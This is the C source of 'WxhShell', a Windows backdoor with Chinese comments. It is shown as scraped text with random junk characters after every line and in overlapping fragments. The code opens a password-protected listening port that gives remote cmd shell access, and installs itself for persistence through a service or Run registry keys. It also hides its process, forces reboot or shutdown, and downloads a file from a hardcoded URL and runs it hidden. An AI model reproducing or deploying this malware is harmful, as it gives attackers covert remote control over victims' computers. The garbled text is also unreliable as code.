    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `JySuP2~/  
    else { 36 "n7  
    closesocket(wsh); cb}"giXQTB  
    ExitThread(0); {213/@,  
    } NAGM3{\5v$  
    break; |N.2iN:  
    } |&; ^?M  
  // 获取shell QL?_FwZL  
  case 's': { z 6:Wh  
    CmdShell(wsh); 0HzqU31%l@  
    closesocket(wsh); AkhG~L  
    ExitThread(0); 77P\:xc  
    break; 9LDv?kYr  
  } k9Pvh,_wp  
  // 退出 hbw(o  
  case 'x': { 5 ~Wg=u<6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z>hTL_|]a{  
    CloseIt(wsh); ;*A'2ymXUT  
    break; #-/W?kD  
    } wZqYtJ  
  // 离开 4Uy%wB  
  case 'q': { =)a24PDG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cS ~OxAS  
    closesocket(wsh); 3:)z+#Uk6  
    WSACleanup(); ARKM[]  
    exit(1); 2|nm> 4  
    break; @N=vmtLP  
        } hFrMOc&  
  } OM86C  
  } |5&+VI  
GEc6;uz<  
  // 提示信息 0U '"@A \  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lSxb:$g  
} Br1R++]  
  } {)[o*+9  
pSs*Z6c)@  
  return; ij" ~]I  
} ]PXM;w  
GEBSUvM7  
// shell模块句柄 UcRP/LR%C  
int CmdShell(SOCKET sock) A_xC@$1e<  
{ #N|\7(#~u  
STARTUPINFO si; OF-k7g7  
ZeroMemory(&si,sizeof(si)); ~tDYo)hH8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aJu&h2 G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TEtmmp0OD  
PROCESS_INFORMATION ProcessInfo; ++cS^ Lo  
char cmdline[]="cmd"; HW@wia  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eg0_ <  
  return 0; iq#{*:1  
} "+HJ/8Dd1  
70'OS:J=\  
// 自身启动模式 LEb$Fd  
int StartFromService(void) s,z~qL6&  
{ 19 !?oeOU  
typedef struct PX:#+bq1  
{ ACszx\[K3  
  DWORD ExitStatus; ,06Sm]4L,  
  DWORD PebBaseAddress; 'Y 38VOI%  
  DWORD AffinityMask; ]C_+u_9  
  DWORD BasePriority; BU`X_Z1)  
  ULONG UniqueProcessId; -f+#j=FX  
  ULONG InheritedFromUniqueProcessId; JcAsrtrG]  
}   PROCESS_BASIC_INFORMATION; \J'}CX*aQ  
,f }$FZ  
PROCNTQSIP NtQueryInformationProcess; R9XU7_3B  
t{md&k4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TW|K.t@5#H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VkQ@c;C  
[+ud7l  
  HANDLE             hProcess; $8tk|uh  
  PROCESS_BASIC_INFORMATION pbi; D"7}&Ry:  
55Ss%$k@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qZ1'uln=C-  
  if(NULL == hInst ) return 0; )6"}M;v  
K-RmB4WI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  RD$:.   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %OQdUH4x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X9x`i  
W06aj ~7Z  
  if (!NtQueryInformationProcess) return 0; ?cU,%<r  
H$![]Ujq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,i>`Urd  
  if(!hProcess) return 0; Bf{u:TCK  
7;>|9k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "Q?+T:D8|  
HDe\Oty_  
  CloseHandle(hProcess); CPz<iU  
?ZF):}r vZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ailq,  c  
if(hProcess==NULL) return 0; Qqm?%7A1  
C}huU  
HMODULE hMod; -/f$s1  
char procName[255]; LrU8!r`a  
unsigned long cbNeeded; ; !n>  
T{dQ4 c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0ho;L0Nr'  
(0-Ol9[  
  CloseHandle(hProcess); \}Q=q$)  
#2tmi1 ya  
if(strstr(procName,"services")) return 1; // 以服务启动 _w^,j"  
%>KbaM1b  
  return 0; // 注册表启动 pMfb(D"  
} wQxI({k@  
HNzxF nh  
// 主模块 ?f?5Kye  
int StartWxhshell(LPSTR lpCmdLine) C'6I< YX  
{ '$ei3  
  SOCKET wsl; L2H  
BOOL val=TRUE; j.E=WLKV*  
  int port=0; #GzALF97  
  struct sockaddr_in door; nrac )W  
t G_4>-Y#w  
  if(wscfg.ws_autoins) Install(); m:@y_:X0  
8Qvs\TY  
port=atoi(lpCmdLine); 'a#lBzu\b  
5`h$^l/  
if(port<=0) port=wscfg.ws_port; lM-9J?j  
$n<a`PdH  
  WSADATA data; 0|&@)`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @MSmg3 &  
lQ 8hY$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F#Lo^ 8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;1k& }v&  
  door.sin_family = AF_INET; n !)$e;l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ] !/  
  door.sin_port = htons(port); J0xHpe  
&@iOB #H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r:*G{m-  
closesocket(wsl); ON2o^-%=  
return 1; H|% J"  
} {npm9w<;  
:=Olp;+_  
  if(listen(wsl,2) == INVALID_SOCKET) { =AIts[!qd  
closesocket(wsl); Tmzbh 9  
return 1; IuwE&#  
} !"^Zr]Qt+\  
  Wxhshell(wsl); vJWBr:`L  
  WSACleanup(); JR!-1tnc  
jTa\I&s,A  
return 0; 4H{t6t@-:  
7^dr[.Q[*  
} \^)i!@v  
a?[[F{X9^  
// 以NT服务方式启动 Iz0$T.T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8(1*,CJQg  
{ EBy7wU`S  
DWORD   status = 0; $1yy;IyR  
  DWORD   specificError = 0xfffffff; ]az(w&vqg2  
{ 4J.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U1 _"D+XB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T^v763%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .a4,Lr#q.  
  serviceStatus.dwWin32ExitCode     = 0; / VYT](  
  serviceStatus.dwServiceSpecificExitCode = 0; Oe5rRQ$O  
  serviceStatus.dwCheckPoint       = 0; $d<NN2  
  serviceStatus.dwWaitHint       = 0; >@vu;j\*E5  
b-u@?G|<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9nFL70  
  if (hServiceStatusHandle==0) return; VZ9 p "  
N/tcW  
status = GetLastError(); E)-;sFz  
  if (status!=NO_ERROR) 7zu\tCWb  
{ ]8A*uyi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P< OH{l  
    serviceStatus.dwCheckPoint       = 0; ,,Qg"C  
    serviceStatus.dwWaitHint       = 0; s= %3`3Fo  
    serviceStatus.dwWin32ExitCode     = status; #,#`< h!  
    serviceStatus.dwServiceSpecificExitCode = specificError; SBxpJsW >  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #pvq9fss,}  
    return; [F6 )Z[uG  
  } 'K7\[if{  
En\@d@j<u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r=Xo;d*TE  
  serviceStatus.dwCheckPoint       = 0; ebBi zc=  
  serviceStatus.dwWaitHint       = 0; r8 9o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _vTr?jjfK  
} 5r5on#O&  
P@v"aa\@2)  
// 处理NT服务事件,比如:启动、停止 5wue2/gl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 78l);/E{v  
{ yCQvo(V[F  
switch(fdwControl) OAXA<  
{ IxbQ6  
case SERVICE_CONTROL_STOP: ;\K]~  
  serviceStatus.dwWin32ExitCode = 0; TiD#t+g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~4 fE`-O  
  serviceStatus.dwCheckPoint   = 0; [Hh*lKg  
  serviceStatus.dwWaitHint     = 0; MG?,,8sO  
  { ?lC>E[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gTj,I=3$?e  
  } ,p|Q/M^  
  return; yrxX[Hg?@  
case SERVICE_CONTROL_PAUSE: J 8 KiL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C^ZoYf8+"m  
  break; JwI99I'  
case SERVICE_CONTROL_CONTINUE: 2Qe&FeT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o;@~uU  
  break; pX &bX_F{  
case SERVICE_CONTROL_INTERROGATE: /@\`Ibe  
  break; T=PqA)Ym  
}; cN@_5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2;gvo*k  
} 'KH+e#?Ar  
kL DpZ{  
// 标准应用程序主函数 d88A.Z3w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9~hW8{#  
{ 8&JB_%Gb  
y i$+rPF1  
// 获取操作系统版本 |enLv12Gm  
OsIsNt=GetOsVer(); x,C8):\t`B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LK}g<!o(  
6Z|h>H5 a  
  // 从命令行安装 3dN`Q:1R9  
  if(strpbrk(lpCmdLine,"iI")) Install(); p7QZn.,=u  
t=B1yvE "  
  // 下载执行文件 |%|03}Q  
if(wscfg.ws_downexe) { p_I^7 $  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sU>IETo  
  WinExec(wscfg.ws_filenam,SW_HIDE); P*KIk~J  
} t+v %%N_  
UVux[qX<  
if(!OsIsNt) { lp(2"$nQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 %SC Jmn2  
HideProc(); kWW2N0~$  
StartWxhshell(lpCmdLine); r R6}  
} #LR4%}mg  
else !q+ #JW  
  if(StartFromService()) !7DDPJ~  
  // 以服务方式启动 CHGa_  
  StartServiceCtrlDispatcher(DispatchTable); NF0_D1Goi  
else SnG(/1C8  
  // 普通方式启动 W5Jw^,iPd  
  StartWxhshell(lpCmdLine); #1-WiweO  
K 4GuOl  
return 0; uH*6@aYPo  
} _0+X32HjJ  
GST#b6S  
@_kF&~  
m""+ $  
=========================================== uXc;!*  
*47/BLys<  
]In7%Qb  
[mzed{p]]  
KO "/  
z% bH?1^o  
" 3O,nNt;L{  
UN'n~d @~  
#include <stdio.h> v,iZnANZ&P  
#include <string.h> 8?iI;(  
#include <windows.h> @ eJ8wf]  
#include <winsock2.h> a,Pw2Gcid  
#include <winsvc.h> OMK,L:poC  
#include <urlmon.h> JlYZ\  
@<P2di  
#pragma comment (lib, "Ws2_32.lib") n~UI 47  
#pragma comment (lib, "urlmon.lib") wH?)ZL  
yx Om=V  
#define MAX_USER   100 // 最大客户端连接数 8xENzTR  
#define BUF_SOCK   200 // sock buffer ^2- <XD)  
#define KEY_BUFF   255 // 输入 buffer ~Ykn|$_"I  
VgVDTWs7  
#define REBOOT     0   // 重启 ~vA{I%z5~  
#define SHUTDOWN   1   // 关机 !S=YM<Ad  
?# w} S%  
#define DEF_PORT   5000 // 监听端口 ktrIi5B  
Xr  <H^X  
#define REG_LEN     16   // 注册表键长度 l_}d Q&R  
#define SVC_LEN     80   // NT服务名长度 IW~wO  
`h@fW- r  
// 从dll定义API \96\!7$@O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QdgJNT<=H,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $w*L' <  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4|K\pCw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UF7h{V})  
f|,Kh1{e  
// wxhshell配置信息 2]vTedSOl  
struct WSCFG { wPM&N@Pf  
  int ws_port;         // 监听端口 s)- ;74(  
  char ws_passstr[REG_LEN]; // 口令 wj6u,+  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5TJd9:\Af  
  char ws_regname[REG_LEN]; // 注册表键名 bY#BK_8 :  
  char ws_svcname[REG_LEN]; // 服务名 Dy.i^`7\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N" L&Z4Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?=9'?K/~a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4`i8m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )I&.6l!#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~)f^y!PMQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ./ {79  
FGi7KV=N  
}; U5kKT.M  
['o ueOg  
// default Wxhshell configuration {3x>kRaKci  
struct WSCFG wscfg={DEF_PORT, vu0Ue  
    "xuhuanlingzhe", :e7\z  
    1, o,WjM[e  
    "Wxhshell", ASHU0v  
    "Wxhshell", '?Dxe B  
            "WxhShell Service", 3tZIL  
    "Wrsky Windows CmdShell Service", CFh9@Nx  
    "Please Input Your Password: ", jh oA6I  
  1, #VrIU8Q7'  
  "http://www.wrsky.com/wxhshell.exe", I6 ?(@,  
  "Wxhshell.exe" _f0AV;S:vd  
    }; / :F^*]  
%]Z4b;W[Y  
// 消息定义模块 '{AB{)1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~uc7R/3ss  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qA GjR!=^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -g~+9/;n  
char *msg_ws_ext="\n\rExit."; {]+t<  
char *msg_ws_end="\n\rQuit."; y;ElSt;S  
char *msg_ws_boot="\n\rReboot..."; E<\$3G-do  
char *msg_ws_poff="\n\rShutdown..."; bq ED5;d'#  
char *msg_ws_down="\n\rSave to "; nx'c=gp  
O=3/ qs6m  
char *msg_ws_err="\n\rErr!"; \I!mzo  
char *msg_ws_ok="\n\rOK!"; JVu j u$k  
nmU1xv_  
char ExeFile[MAX_PATH]; '|4+< #  
int nUser = 0; D[yyFo,z  
HANDLE handles[MAX_USER]; ]$"eGHX  
int OsIsNt; 8NHm#Z3Ol  
^+76^*0  
SERVICE_STATUS       serviceStatus; g[G /If  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; es*$/A  
Dylm=ZZa  
// 函数声明 9;#RzelSp  
int Install(void); AI2XNSV@Yl  
int Uninstall(void); OPNRBMD  
int DownloadFile(char *sURL, SOCKET wsh); I uxf`sd  
int Boot(int flag); uHI(-!O  
void HideProc(void); -!XG>Z  
int GetOsVer(void); ]B3](TH"  
int Wxhshell(SOCKET wsl); W,@ F!8  
void TalkWithClient(void *cs); V#oz~GMB  
int CmdShell(SOCKET sock); x{:U$[_  
int StartFromService(void); wGti |7Tu*  
int StartWxhshell(LPSTR lpCmdLine); C{bxPILw  
&DMC\R*j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S=k!8]/d|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y$L` G  
x1eC r_  
// 数据结构和表定义 (%fQhQ  
SERVICE_TABLE_ENTRY DispatchTable[] = ]u5TvI,C  
{ Hi09?AX  
{wscfg.ws_svcname, NTServiceMain}, C*2%Ix18+N  
{NULL, NULL} fi HE`]0  
}; 2?~nA2+vm  
!}!KT(% %  
// 自我安装 :C_/K(Rkl  
int Install(void) (C. $w  
{ 1(Is 7  
  char svExeFile[MAX_PATH]; m~&  
  HKEY key; <'4Wne.z!  
  strcpy(svExeFile,ExeFile); D;!sH?J@+  
`Xos]L'w  
// 如果是win9x系统,修改注册表设为自启动 W+i^tmj  
if(!OsIsNt) { c6[m'cy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >B{qPrmI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]pvHsiI:  
  RegCloseKey(key); MZz9R*_VS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]W?cy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z}Cjk6z@  
  RegCloseKey(key); @4;'>yr(  
  return 0; lBfthLBa  
    } \na$Sb+  
  } tKt}]KHV  
} ]00s o`  
else { \$_02:#  
Ln# o:"E  
// 如果是NT以上系统,安装为系统服务 6!]@ S|vDX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @_C]5D^J^~  
if (schSCManager!=0)  [^ }$u[  
{ TAUl{??,  
  SC_HANDLE schService = CreateService 4+hNP'e  
  ( g!~SHW)l  
  schSCManager, - jZAvb  
  wscfg.ws_svcname, =Q 9^|&6  
  wscfg.ws_svcdisp, ~Fb@E0 }!  
  SERVICE_ALL_ACCESS, |X=p`iz1&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rpiuFst  
  SERVICE_AUTO_START, QKP #wR  
  SERVICE_ERROR_NORMAL, =wX;OK|U(^  
  svExeFile, >3/ mV<g f  
  NULL, N 8[r WJ#  
  NULL, X}Q4;='C-  
  NULL, g}hUCx(  
  NULL, 1#x5 o2n  
  NULL %O9Wm_%  
  ); ~S('\h)1  
  if (schService!=0) "9xJ},:-  
  { ?>+uO0*S  
  CloseServiceHandle(schService); ={xRNNUj_  
  CloseServiceHandle(schSCManager); "#E Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #+o$Tg  
  strcat(svExeFile,wscfg.ws_svcname); zCJ"O9G<V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &Z~_BT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fcdXj_u  
  RegCloseKey(key); ;cVK2'  
  return 0; igQzL*X  
    } #MY oy7=  
  } i]<@  
  CloseServiceHandle(schSCManager); GgE g(AT  
}  z/91v#}.  
} yr+QV:oVA  
zmQQ/ 7K  
return 1; 8(n>99 VVK  
} 'ij+MU 1  
}$<v  
// 自我卸载 Z><+4 '  
int Uninstall(void) x9F *$G  
{ Vl$RMW@Ds  
  HKEY key; ~EmK;[Z  
|\Gkhi>;  
if(!OsIsNt) { N|mggz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J PTLh{/  
  RegDeleteValue(key,wscfg.ws_regname); J <z ^C  
  RegCloseKey(key); )F hbN@3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VJ#ys _W  
  RegDeleteValue(key,wscfg.ws_regname); $E[O}+L$#  
  RegCloseKey(key); O_ r-(wE4  
  return 0; I0l3"5X a  
  } @8c@H#H  
} y3( ~8n  
} rWWp P<  
else { "zw{m+7f,  
]iTP5~8U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O)^F z:  
if (schSCManager!=0) kR1 12J9P  
{ ]foS.D,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,sj(g/hg  
  if (schService!=0) ?6*\  M  
  { `%|3c  
  if(DeleteService(schService)!=0) { 1?)h-aN  
  CloseServiceHandle(schService); Ew]&~:$Ki  
  CloseServiceHandle(schSCManager); rui 8x4c  
  return 0; '\QJ{/JV  
  } j 7);N  
  CloseServiceHandle(schService); [|$C2Dhw=  
  } DPY+{5q2  
  CloseServiceHandle(schSCManager); ug}u>vQ>  
} IHW s<U  
} [6K[P3UZx  
|9i[*]  
return 1; E @r &K  
} Lwtp,.)pR  
I5j|\ /Ht  
// 从指定url下载文件 R{H8@JLD  
int DownloadFile(char *sURL, SOCKET wsh) Y, Lpv|  
{ WTD86A  
  HRESULT hr; k3LHLJZ#  
char seps[]= "/"; YO.ddy*59  
char *token; 0 {d)f1  
char *file; maSVqG  
char myURL[MAX_PATH]; UH&1QV  
char myFILE[MAX_PATH]; kb$Yc)+R4  
xGOmvn^lQ  
strcpy(myURL,sURL); v#9i|  
  token=strtok(myURL,seps); A~{vja0?  
  while(token!=NULL) vx$DKQK@l\  
  { k0FAI0~(  
    file=token; E}zGY2Xx  
  token=strtok(NULL,seps); I7h v'3u  
  } pQZ`dS\  
ENA"T-p  
GetCurrentDirectory(MAX_PATH,myFILE); w}/+3z  
strcat(myFILE, "\\"); p1GP@m,^n0  
strcat(myFILE, file); 2I suBX\[  
  send(wsh,myFILE,strlen(myFILE),0); 18~jUYMV  
send(wsh,"...",3,0); 9h+T O_T@F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >BJBM |  
  if(hr==S_OK) wg k[_i  
return 0; 3 q8S  
else ~mHrgxQ-  
return 1; 0T@axQ[%  
z2R?GQ5 A  
} + i /4G.=*  
>} Mw"   
// 系统电源模块 `o{_+Li9  
int Boot(int flag) c=-qbG0`  
{ 1 "t9x.  
  HANDLE hToken; Ya jAz5N  
  TOKEN_PRIVILEGES tkp; ( ?e Et&  
jU 3ceXV  
  if(OsIsNt) { [g@Uc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D0_CDdW%7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5%K|dYv^^  
    tkp.PrivilegeCount = 1;  !Qsjn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !mVq+_7]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r^E(GmW  
if(flag==REBOOT) { _iA oNT!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  `uDOIl  
  return 0; 5ld?N2<8/  
} wU/fGg*M2  
else { .2|(!a9W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1TzwXX7  
  return 0; $PlMyLu7jc  
} ;x FB /,  
  } /A>nsN?:]  
  else { av'[k<  
if(flag==REBOOT) { # dUi['  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q"!GdKM  
  return 0; lkp$rJ#6  
} Rw63{b/  
else { J`; 9Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K4RQ{fWpm  
  return 0; 00>knCe6  
} aU.!+e%_  
} EpT^r8I  
8B "^}y\0  
return 1; &\ad.O/Q  
} U.Z5;E0:  
0Bkc93  
// win9x进程隐藏模块 5)rN#_BKj  
void HideProc(void) :Ez*<;pF'  
{ }0/l48G  
cl{mRt0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I !lR 7%  
  if ( hKernel != NULL ) M`9|8f,!a  
  { |<8Fa%!HHc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VV[Fb9W ;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *6}'bdQbNP  
    FreeLibrary(hKernel); ;eW)&qzK  
  } _$vbb#QXZG  
J_<6;#  
return; O"X7 DgbC  
} LF{8hC[  
6@:<62!;  
// 获取操作系统版本 XKOPW/  
int GetOsVer(void) ,CBE&g  
{ J{5p4bkb  
  OSVERSIONINFO winfo; XQOM6$~,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }:s.m8LC5n  
  GetVersionEx(&winfo); $ \!OO)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #Hl?R5  
  return 1; <|E*aR|M  
  else VTX6_&Hc1g  
  return 0; bq8h?Q  
} QM~~b=P,\  
ssH[\i  
// 客户端句柄模块 IO2@^jup  
int Wxhshell(SOCKET wsl) oe=1[9T"  
{ s=K?-O  
  SOCKET wsh; u{sb^cmy  
  struct sockaddr_in client; :S-{a  
  DWORD myID; wq8&2(|Fc  
h >Z`&  
  while(nUser<MAX_USER) w)R5@ @C*  
{ YKOj  
  int nSize=sizeof(client); SUvrOl   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yKz%-6cpSl  
  if(wsh==INVALID_SOCKET) return 1; YPKB4p#  
Zv8GrkK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,nV4%Aa  
if(handles[nUser]==0) G2sj<F=AV  
  closesocket(wsh); z${[Z=  
else wIWO?w2  
  nUser++; Vkf{dHjW  
  } X]W(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PH^Gjm  
(bB"6 #TI  
  return 0; e)XnS'  
} 3m&  
}{&;\^i  
// 关闭 socket CHCT e  
void CloseIt(SOCKET wsh) [;~"ctf{  
{ nuA 0%K  
closesocket(wsh); F]0 qt$GO  
nUser--; o?IrDQ2gmh  
ExitThread(0); ]9W7]$  
} b9v<Jk  
j^hLn >  
// 客户端请求句柄 0fqycGSmU  
void TalkWithClient(void *cs) 'C>sYSL  
{ V&Rwj_Y  
{/,AMJ<:G]  
  SOCKET wsh=(SOCKET)cs; _~F 0i?  
  char pwd[SVC_LEN]; =)w#?DGpj  
  char cmd[KEY_BUFF]; `'pAiu  
char chr[1]; a#9pN?~  
int i,j; p|BoEITL  
#]gmM  
  while (nUser < MAX_USER) { AYp~;@  
q_9 tbZ;  
if(wscfg.ws_passstr) { NQvI=R-g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DhsvN&yNM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )ac!@slb^7  
  //ZeroMemory(pwd,KEY_BUFF); +NiCt S  
      i=0; |TR +Wn  
  while(i<SVC_LEN) { @:>gRD  
~zWLqnS}  
  // 设置超时 hp2$[p6O  
  fd_set FdRead; MGr e_=Dm_  
  struct timeval TimeOut; G68@(<<Z  
  FD_ZERO(&FdRead); ;=6EBP%  
  FD_SET(wsh,&FdRead); ,^DP  
  TimeOut.tv_sec=8; *O_^C  
  TimeOut.tv_usec=0; 3Y&4yIx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =([4pG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *D9H3M[o#  
_,d<9 Y)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &rl;+QS  
  pwd=chr[0]; roBb8M|q  
  if(chr[0]==0xd || chr[0]==0xa) { $3%+N|L  
  pwd=0; hMV>5Y[s  
  break; OkCAvRg  
  } |y+_BZ5  
  i++; x]3[0K5;  
    } ]I zD`  
K%Bz6 ~  
  // 如果是非法用户,关闭 socket e,W,NnCICj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "7j E&I  
} 4G XS(  
:AI%{EV-L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :)&vf<JL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $TK= :8HY  
a(ml#-M  
while(1) { A(cR/$fn6  
;BKU _}k=  
  ZeroMemory(cmd,KEY_BUFF); (Q8r2*L  
cL~YQJYp  
      // 自动支持客户端 telnet标准   ^6LnB#C&  
  j=0; .*.eY?,V  
  while(j<KEY_BUFF) { j0(jXAc;UB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J(w FJg\/  
  cmd[j]=chr[0]; m - hZ5 i  
  if(chr[0]==0xa || chr[0]==0xd) { k]`-Y E  
  cmd[j]=0; M.:JT31>1  
  break; =);@<Jp  
  } j['B9vG  
  j++; _aJKt3GQ  
    } ~l*<LXp8  
x($Djx  
  // 下载文件 uU^iY$w  
  if(strstr(cmd,"http://")) { y*v|q=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >7S@3,C3ke  
  if(DownloadFile(cmd,wsh)) ]0j_yX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !]RSG^%s{  
  else ~P;A 9A(k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j2.7b1s  
  } -|>T? t'K  
  else { 6<R[hIWpZ}  
5NH4C  
    switch(cmd[0]) { 4-Jwy  
  K>b4(^lf  
  // 帮助 U~;tk@  
